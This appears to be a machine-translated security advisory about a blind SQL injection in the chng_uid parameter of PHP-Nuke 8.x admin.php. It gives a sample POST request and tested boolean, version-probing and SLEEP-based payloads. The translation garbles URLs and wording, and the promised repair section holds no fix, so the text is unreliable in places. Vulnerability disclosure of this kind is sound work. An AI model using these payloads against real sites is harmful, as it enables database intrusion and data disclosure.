PHP-Nuke 8.x & amp; lt; = chng_uid blind injection defect and repair

Affected Versions:
PHP-Nuke 8.x <=

Vulnerability description:
PHP-Nuke is a Web Portal System or content management system. The goal
Of PHP-Nuke is to have an automated web site to distribute news and
Articles with users system. Each user can submit comments to discuss
The articles. Main features include: web based admin, surveys, top
Page, access stats page with counter, user customizable box, themes
Manager for registered users, friendly administration GUI with graphic
Topic manager, option to edit or delete stories, option to delete
Comments, moderation system, Referrers page to know who link us,
Sections manager, customizable HTML blocks, user and authors edit,
Integrated Banners Ads system, search engine, backend/headlines
Generation (RSS/RDF format), and usage, please more friendly functions.

The "chng_uid" parameter is not properly sanitized upon submission
The/admin. php which leads to Blind SQL Injection vulnerability.
This allows an attacker to inject or manipulate SQL queries in
Back-end database, allowing for the manipulation or disclosure
Arbitrary data.

<* Reference
Original Advisory URL:
Http://yehg.net/lab/pr0js/advisories/?phpnuke-8.x=_ SQL _injection
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
PHP-Nuke 8.0: http://phpnuke.org/modules.php? Name = Downloads & d_op = getit & lid = 658
CWE-89: html> http://cwe.mitre.org/data/definitions/89.html
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Test method:

=>/Admin. php

POST/admin. php HTTP/1.1
Referer: http: // localhost/admin. php? Op = mod_users
Content-Type: application/x-www-form-urlencoded
Host: localhost

Chng_uid = [BLIND_ SQL _INJECTION] + & op = modifyUser

Tested Payloads:
Or 1 = 1 -- [TRUE]
Or 1 = 2 -- [FALSE]
Or substring (@ version, 1, 1) = 5 -- [TRUE if mySQL version is 5.x]
Or substring (@ version, 1, 1) = 4 -- [FALSE if mySQL version is 5.x]
Or SLEEP (15) = 0 -- [sleep for 15 seconds]

Successful response (True) returns the user update form page.

 

Vendor solutions
8.0 and lower

Tested version: 8.0
The paid versions, 8.1 and 9.0, of php-Nuke may be vulnerable as well.

Php-Nuke Developers
Http://phpnuke.org